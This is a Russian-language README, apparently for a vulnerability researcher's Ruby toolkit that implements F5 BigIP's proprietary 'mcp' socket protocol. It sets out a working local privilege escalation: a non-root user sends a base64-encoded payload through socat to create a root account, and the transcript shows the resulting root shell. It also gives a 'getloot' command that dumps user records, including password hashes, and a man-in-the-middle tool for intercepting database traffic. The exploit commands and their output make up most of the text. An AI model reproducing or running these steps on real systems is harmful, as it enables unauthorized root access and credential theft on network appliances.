
Реализация протокола `mcp` от F5, включая инструменты MitM для перехвата трафика во время поиска уязвимостей.
Это ещё не совсем готово, но я хотел закоммитить код.
По сути, это реализация проприетарного протокола базы данных F5, «mcp», который работает через UNIX domain socket. Это означает, что вам нужен доступ к shell на устройстве F5, прежде чем вы сможете использовать любой из этих инструментов. Обычно вы перенаправляете вывод скрипта в /var/run/mcp с помощью socat, а затем передаёте ответ в mcp-parser.rb. Подробнее ниже.
Краткий обзор скриптов:
mcp-getloot.rb — генерирует сообщение, которое выгружает пользователей и переменныеmcp-privesc.rb — генерирует сообщение, которое создаёт учётную запись пользователяmcp-parser.rb — разбирает mcp-сообщения, поступающие на stdinmcp-mitm.rb — перехватывает mcp-сообщения на целевом хосте (требуется настроенный вход по ssh без пароля для root)mcp-builder.rb — библиотека для создания mcp-сообщений (не нужно использовать напрямую)mcp-generateobjects.rb — инструмент для генерации mcp-objects.txt (вряд ли понадобится)MCP — это проприетарная (насколько я могу судить) база данных, используемая в F5 BigIP. Доступ к ней осуществляется через /var/run/mcp — UNIX domain socket с правами 0777 (то есть любой пользователь может получить к нему доступ).
Протокол построен в стиле TLV и содержит огромное количество типов (более 41 000). Все они перечислены в mcp-objects.txt.
Я реализовал парсер, который можно найти в mcp-parser.rb, а множество различных сообщений — в mcp-parser-tests.rb.
Я также создал билдер, mcp-builder.rb, хотя он не рассчитан на простое использование. У нас есть предопределённая функция, которая создаёт MCP-пакет для создания учётной записи уровня root, что довольно круто. Вы можете использовать mcp-privesc.rb для создания такого пакета.
Для прямого взаимодействия с MCP обычно используется socat. Код в mcp-builder.rb умеет создавать пакеты, но не предназначен для запуска напрямую. Скрипты, которые вам, вероятно, захочется запускать напрямую:
mcp-getloot.rb — для получения пользователей и параметров конфигурацииmcp-privesc.rb — для добавления новой учётной записи уровня rootmcp-parser.rb — для разбора ответа (из stdin)Чтобы использовать один из скриптов запроса, выполните его и найдите способ отправить вывод в UNIX socket на целевом устройстве. Вот пример, где мы сжимаем gzip и кодируем в base64 вывод mcp-privesc.rb:
$ ruby ./mcp-privesc.rb blogtest MyFunPW | gzip | base64 -w0
Attempting to create a crypt-sha512 hash of the password
Writing an `mcp` message to stdout that'll create an account: blogtest / $6$vdznqfyc$q9LEJmhlDZK3HQY0L0WuiKfXaKJtQmOY7lIkMS/IxftTmZs.PdlYXxmxjRQ4f529gl13NsqWlZdd/eksunJT01
Send it to the target using: socat -t100 - UNIX-CONNECT:/var/run/mcp < mcpmessage.bin
H4sIAAAAAAAAA2NgYBBnQAICGgy8QIpfQJOBH0izM7AmpuRm5oFkkJVx54CVcajaMbBChSxR5KPA8oYCLGBaU4ANbBwXA0dSTn56SWpxiQA7RKcAB8yiaMecnFgg8yAWg3ZyC4LpjdxC6AbJnwSLcDCwOefn5ubnCcZDDOaWBItzM3DqJ2Xm6SclFmdwi4ClGLmFwVIpDEkqZiplKVV5hWmVySqFlj6uXrkZOS5R3sYegZEGPgbhpZneaRGJ3l4lgbn+keY5ntm+wfqeFWklIblRxXoBKTmRERW5FVlBgSZppkaW6TmGxn7FheE5USkp+qnZxaV5XiEGhmCnIXsoD+wRBgAyeb1ueQEAAA==
Затем мы можем скопировать и вставить это в ssh-сессию на целевом устройстве, где оно будет отправлено в UNIX socket (обратите внимание: мы делаем это от имени пользователя без root-прав в качестве демонстрации того, что это возможно):
$ whoami
apache
$ echo -ne 'H4sIAAAAAAAAA2NgYBBnQAICGgy8QIpfQJOBH0izM7AmpuRm5oFkkJVx54CVcajaMbBChSxR5KPA8oYCLGBaU4ANbBwXA0dSTn56SWpxiQA7RKcAB8yiaMecnFgg8yAWg3ZyC4LpjdxC6AbJnwSLcDCwOefn5ubnCcZDDOaWBItzM3DqJ2Xm6SclFmdwi4ClGLmFwVIpDEkqZiplKVV5hWmVySqFlj6uXrkZOS5R3sYegZEGPgbhpZneaRGJ3l4lgbn+keY5ntm+wfqeFWklIblRxXoBKTmRERW5FVlBgSZppkaW6TmGxn7FheE5USkp+qnZxaV5XiEGhmCnIXsoD+wRBgAyeb1ueQEAAA==' | base64 -d | gunzip - | socat -t100 - UNIX-CONNECT:/var/run/mcp | gzip | base64 -w0
H4sIAB91UGMAA2NgYJBjQALcIQy8QEqMO5SBFcwPZ+AR0OCOAJKaYAUEVXNHgVRzCzIwAABM8W1YXAAAAA==
bash-4.2$ su blogtest
Password:
[...]
[blogtest@localhost:NO LICENSE:Standalone] config # whoami
root
Мы также можем разобрать полученный ответ с помощью mcp-parser.rb:
$ echo -ne 'H4sIAB91UGMAA2NgYJBjQALcIQy8QEqMO5SBFcwPZ+AR0OCOAJKaYAUEVXNHgVRzCzIwAABM8W1YXAAAAA==' | base64 -d | gunzip - | ruby ./mcp-parser.rb
result (structure [22 bytes]):
result_code (ulong) = 0x00000000 (0)
result_operation (tag) = user_authenticated
result_type (tag) = user_authenticated_name
result (structure [22 bytes]):
result_code (ulong) = 0x00000000 (0)
result_operation (tag) = create
result_type (tag) = userdb_entry
Вы, конечно, можете сделать всё одной командой; вот как можно использовать mcp-getloot.rb:
$ ruby ./mcp-getloot.rb | ssh [email protected] socat -t100 - UNIX-CONNECT:/var/run/mcp | ruby ./mcp-parser.rb | head -n30
Writing an `mcp` message to stdout that'll query for interesting stuff
Send it to the target using: socat -t100 - UNIX-CONNECT:/var/run/mcp < mcpmessage.bin
query_reply (structure [949 bytes]):
userdb_entry (structure [233 bytes]):
userdb_entry_name (string [6 bytes]) = "root"
trunk_virtual_mbr_transaction_id (ulong) = 0x00000001 (1)
userdb_entry_partition_id (string [8 bytes]) = "Common"
fw_analytics_settings_dns_collect_dst_i... (long) = 0xffffffff (4294967295)
userdb_entry_is_system (ulong) = 0x00000001 (1)
userdb_entry_oldpasswd (string [2 bytes]) = ""
userdb_entry_shell (string [11 bytes]) = "/bin/bash"
userdb_entry_gecos (string [6 bytes]) = "root"
userdb_entry_is_crypted (ulong) = 0x00000001 (1)
userdb_entry_passwd (string [100 bytes]) = "$6$UIHYzBX6$UClrSPt1o/G2meP27zBzRJnAjWEIkhNEQzqDYwn5gtnoKqFeGhnJveUUHGavaPU1FO9eif2pnADjDN/5YgMI3/"
userdb_entry_description (string [2 bytes]) = ""
userdb_entry_object_id (ulong) = 0x00002a70 (10864)
userdb_entry (structure [251 bytes]):
userdb_entry_name (string [7 bytes]) = "admin"
[...]
db_variable (structure [224 bytes]):
db_variable_name (string [38 bytes]) = "platform.diskmonitor.freelast.vmdisk"
db_variable_transaction_id (ulong) = 0x0000004b (75)
db_variable_scf_config (string [7 bytes]) = "false"
db_variable_maximum (string [2 bytes]) = ""
db_variable_minimum (string [2 bytes]) = ""
db_variable_data_type (string [9 bytes]) = "integer"
db_variable_sync_type (string [18 bytes]) = "private_internal"
db_variable_default (string [3 bytes]) = "0"
db_variable_value (string [3 bytes]) = "0"
db_variable_display_name (string [38 bytes]) = "Platform.DiskMonitor.FreeLast.vmdisk"
db_variable_object_id (ulong) = 0x0000e705 (59141)
db_variable_enumerated (array [6 bytes]): Array data: 000f00000000
Я также написал инструмент для просмотра/логирования запросов к базе данных в реальном времени — mcp-mitm.rb. Это не эксплойт, а просто аналитический инструмент, требующий входа от root. По сути, он перемещает /var/run/mcp и заменяет его сокетом, которым мы управляем, а затем разбирает все проходящие через него сообщения.
Для запуска:
ssh root@<target> без пароля или иного ввода (или отредактируйте код и отключите DO_SETUP)Практически любой потенциальный «ущерб» устраняется перезагрузкой, поскольку сокет создаётся при загрузке, но вряд ли вам захочется делать это на проде.
В любом случае, запустите без аргументов, чтобы увидеть использование, затем укажите важные IP-адреса:
$ ruby ./mcp-mitm.rb
Usage: ruby ./mcp-mitm.rb <your ip> <target ip> [listen port 1] [listen port 2]
[...]
$ ruby ./mcp-mitm.rb 10.0.0.179 10.0.0.162
$ ruby ./mcp-mitm.rb 10.0.0.179 10.0.0.162
Configuration (edit the script to change, this is a PoC!):
Your IP: 10.0.0.179
Target IP: 10.0.0.162
Listening port 1: 1234
Listening port 2: 1235
SSH into the target to set things up: true
(Make sure you can ssh into the host as root with no password)
(Yes yes, I know it's a PoC!)
SSH'ing into the server to set things up
Ready!
Если вы подождёте немного (или будете что-то делать на сервере), то увидите сессии:
Received session @ #<TCPSocket:0x000000000170d630> <--> #<TCPSocket:0x000000000170d658>
user_authenticated (structure [15 bytes]):
user_authenticated_name (string [7 bytes]) = "admin"
start_transaction (structure [8 bytes]):
start_transaction_load_type (ulong) = 0x00000000 (0)
[...]
Ctrl-c остановит его и починит сокет:
^CSSH'ing into the server to fix things
Session 1 closed?
Ending thread
Ending thread
Traceback (most recent call last):
3: from ./mcp-mitm.rb:149:in `<main>'
2: from ./mcp-mitm.rb:149:in `loop'
1: from ./mcp-mitm.rb:151:in `block in <main>'
./mcp-mitm.rb:151:in `accept': Interrupt
Вот и всё!